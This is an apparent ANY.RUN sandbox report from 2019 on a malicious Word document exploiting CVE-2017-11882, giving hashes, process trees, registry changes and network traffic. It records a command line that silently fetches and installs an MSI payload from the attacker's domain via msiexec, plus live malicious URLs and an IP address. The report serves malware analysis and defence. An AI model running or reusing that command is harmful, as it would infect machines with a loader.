URL:

http://amazonvietnampharma.com.vn/l/css/css.doc

Full analysis: https://app.any.run/tasks/0638210b-94ec-404f-9497-b4a68a9e156e
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Analysis date: February 19, 2019, 06:39:04
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
exploit
cve-2017-11882
exe-to-msi
loader
Indicators:
MD5:

B8656D933E1B2913E492318164EE9D0A

SHA1:

F4E39168525AD2A5EE29D033C7202D107BE1BCCE

SHA256:

546AC2B3A405535E57BDB08485A6AF39C23A3D8BB347489EBEABD3837E32E037

SSDEEP:

3:N1KfWt05Ld2qUBAdn:CECLd2Z8n

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Equation Editor starts application (CVE-2017-11882)

      • EQNEDT32.EXE (PID: 2212)
    • Uses Microsoft Installer as loader

      • cmd.exe (PID: 3032)
    • Downloads executable files from the Internet

      • msiexec.exe (PID: 2904)
  • SUSPICIOUS

    • Starts Microsoft Office Application

      • WINWORD.EXE (PID: 2248)
    • Unusual connect from Microsoft Office

      • WINWORD.EXE (PID: 2248)
    • Application launched itself

      • WINWORD.EXE (PID: 2248)
    • Reads Internet Cache Settings

      • WINWORD.EXE (PID: 2248)
    • Starts CMD.EXE for commands execution

      • EQNEDT32.EXE (PID: 2212)
    • Executable content was dropped or overwritten

      • msiexec.exe (PID: 2904)
    • Drop ExeToMSI Application

      • msiexec.exe (PID: 2904)
  • INFO

    • Application launched itself

      • iexplore.exe (PID: 2956)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2248)
      • WINWORD.EXE (PID: 3660)
    • Creates files in the user directory

      • iexplore.exe (PID: 3232)
      • iexplore.exe (PID: 2956)
      • WINWORD.EXE (PID: 2248)
    • Changes internet zones settings

      • iexplore.exe (PID: 2956)
    • Reads Internet Cache Settings

      • iexplore.exe (PID: 3232)
    • Reads internet explorer settings

      • iexplore.exe (PID: 3232)
    • Application was crashed

      • EQNEDT32.EXE (PID: 2212)
    • Writes to a desktop.ini file (may be used to cloak folders)

      • msiexec.exe (PID: 2904)
    • Application was dropped or rewritten from another process

      • MSI71E6.tmp (PID: 1932)
    • Starts application with an unusual extension

      • msiexec.exe (PID: 2904)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
45
Monitored processes
10
Malicious processes
2
Suspicious processes
1

Behavior graph

Click at the process to see the details
start drop and start iexplore.exe iexplore.exe winword.exe winword.exe no specs eqnedt32.exe cmd.exe no specs msiexec.exe no specs msiexec.exe eqnedt32.exe no specs msi71e6.tmp no specs

Process information

PID
CMD
Path
Indicators
Parent process
1436"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEsvchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
Modules
Images
c:\program files\common files\microsoft shared\equation\eqnedt32.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
1932"C:\Windows\Installer\MSI71E6.tmp"C:\Windows\Installer\MSI71E6.tmpmsiexec.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\windows\installer\msi71e6.tmp
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
2212"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
Modules
Images
c:\program files\common files\microsoft shared\equation\eqnedt32.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
2248"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" -EmbeddingC:\Program Files\Microsoft Office\Office14\WINWORD.EXE
svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
2904C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\msiexec.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2956"C:\Program Files\Internet Explorer\iexplore.exe" -nohomeC:\Program Files\Internet Explorer\iexplore.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Internet Explorer
Exit code:
1
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\program files\internet explorer\iexplore.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
3032cmd.exe & /C CD C: & msiexec.exe /i http://amazonvietnampharma.com.vn/l/css/baba.msi /quiet C:\Windows\system32\cmd.exeEQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
3232"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2956 CREDAT:71937C:\Program Files\Internet Explorer\iexplore.exe
iexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Internet Explorer
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\program files\internet explorer\iexplore.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
3532msiexec.exe /i http://amazonvietnampharma.com.vn/l/css/baba.msi /quiet C:\Windows\system32\msiexec.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\msiexec.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
3660"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /EmbeddingC:\Program Files\Microsoft Office\Office14\WINWORD.EXEWINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
Total events
2 351
Read events
1 533
Write events
796
Delete events
22

Modification events

(PID) Process:(2956) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
Operation:writeName:CompatibilityFlags
Value:
0
(PID) Process:(2956) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(2956) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
(PID) Process:(2956) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones
Operation:writeName:SecuritySafe
Value:
1
(PID) Process:(2956) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
Operation:writeName:ProxyEnable
Value:
0
(PID) Process:(2956) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
Operation:writeName:SavedLegacySettings
Value:
4600000069000000010000000000000000000000000000000000000000000000C0E333BBEAB1D301000000000000000000000000020000001700000000000000FE800000000000007D6CB050D9C573F70B000000000000006D00330032005C004D00530049004D004700330032002E0064006C000100000004AA400014AA4000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C0A8016400000000000000000000000000000000000000000800000000000000805D3F00983740000008000002000000000000600000002060040000B8A94000020000008802000060040000B8A9400004000000F8010000B284000088B64000B84B400043003A000000000000000000000000000000000000000000
(PID) Process:(2956) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Recovery\Active
Operation:writeName:{15A49CD1-3411-11E9-AA93-5254004A04AF}
Value:
0
(PID) Process:(2956) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{2670000A-7350-4F3C-8081-5663EE0C6C49}\iexplore
Operation:writeName:Type
Value:
4
(PID) Process:(2956) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{2670000A-7350-4F3C-8081-5663EE0C6C49}\iexplore
Operation:writeName:Count
Value:
3
(PID) Process:(2956) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{2670000A-7350-4F3C-8081-5663EE0C6C49}\iexplore
Operation:writeName:Time
Value:
E3070200020013000600270014007C02
Executable files
2
Suspicious files
27
Text files
22
Unknown types
8

Dropped files

PID
Process
Filename
Type
2956iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RB73MZ6Y\favicon[1].ico
MD5:
SHA256:
2956iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico
MD5:
SHA256:
2248WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR28F.tmp.cvr
MD5:
SHA256:
2248WINWORD.EXEC:\Users\admin\AppData\Local\Temp\{1AAC766E-A992-4E00-8D7E-C255F6D2B3E3}
MD5:
SHA256:
2248WINWORD.EXEC:\Users\admin\AppData\Local\Temp\{BCE79603-2337-44F7-A1F0-9E7D16C9A275}
MD5:
SHA256:
2956iexplore.exeC:\Users\admin\AppData\Local\Temp\~DFF1DC96E24EC927EA.TMP
MD5:
SHA256:
2956iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Internet Explorer\Recovery\Active\{15A49CD2-3411-11E9-AA93-5254004A04AF}.dat
MD5:
SHA256:
2248WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSF-CTBL.FSFbinary
MD5:
SHA256:
3232iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\OCDM6JB6\css[1].doctext
MD5:
SHA256:
2956iexplore.exeC:\Users\admin\AppData\Local\Temp\~DFBF40F5503356F2C1.TMP
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
11
TCP/UDP connections
8
DNS requests
2
Threats
4

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2248
WINWORD.EXE
HEAD
200
115.146.122.229:80
http://amazonvietnampharma.com.vn/l/css/css.doc
VN
suspicious
2248
WINWORD.EXE
HEAD
200
115.146.122.229:80
http://amazonvietnampharma.com.vn/l/css/css.doc
VN
suspicious
3232
iexplore.exe
GET
200
115.146.122.229:80
http://amazonvietnampharma.com.vn/l/css/css.doc
VN
text
56.4 Kb
suspicious
2248
WINWORD.EXE
OPTIONS
405
115.146.122.229:80
http://amazonvietnampharma.com.vn/l/css/
VN
html
231 b
suspicious
2248
WINWORD.EXE
OPTIONS
405
115.146.122.229:80
http://amazonvietnampharma.com.vn/l/css/
VN
html
231 b
suspicious
976
svchost.exe
OPTIONS
405
115.146.122.229:80
http://amazonvietnampharma.com.vn/l/css
VN
html
230 b
suspicious
2248
WINWORD.EXE
GET
200
115.146.122.229:80
http://amazonvietnampharma.com.vn/l/css/css.doc
VN
text
56.4 Kb
suspicious
2248
WINWORD.EXE
OPTIONS
405
115.146.122.229:80
http://amazonvietnampharma.com.vn/l/css/
VN
html
231 b
suspicious
2904
msiexec.exe
GET
200
115.146.122.229:80
http://amazonvietnampharma.com.vn/l/css/baba.msi
VN
executable
656 Kb
suspicious
2248
WINWORD.EXE
HEAD
200
115.146.122.229:80
http://amazonvietnampharma.com.vn/l/css/css.doc
VN
compressed
56.4 Kb
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2956
iexplore.exe
204.79.197.200:80
www.bing.com
Microsoft Corporation
US
whitelisted
3232
iexplore.exe
115.146.122.229:80
amazonvietnampharma.com.vn
CMC Telecommunications Services Company
VN
suspicious
2248
WINWORD.EXE
115.146.122.229:80
amazonvietnampharma.com.vn
CMC Telecommunications Services Company
VN
suspicious
976
svchost.exe
115.146.122.229:80
amazonvietnampharma.com.vn
CMC Telecommunications Services Company
VN
suspicious
2904
msiexec.exe
115.146.122.229:80
amazonvietnampharma.com.vn
CMC Telecommunications Services Company
VN
suspicious

DNS requests

Domain
IP
Reputation
www.bing.com
  • 204.79.197.200
  • 13.107.21.200
whitelisted
amazonvietnampharma.com.vn
  • 115.146.122.229
suspicious

Threats

PID
Process
Class
Message
2904
msiexec.exe
Potential Corporate Privacy Violation
SUSPICIOUS [PTsecurity] Executable application_x-msi Download
2904
msiexec.exe
Potential Corporate Privacy Violation
POLICY [PTsecurity] Executable application_x-msi Download
2904
msiexec.exe
Misc activity
SUSPICIOUS [PTsecurity] Executable ExeToMSI Download
1 ETPRO signatures available at the full report
No debug info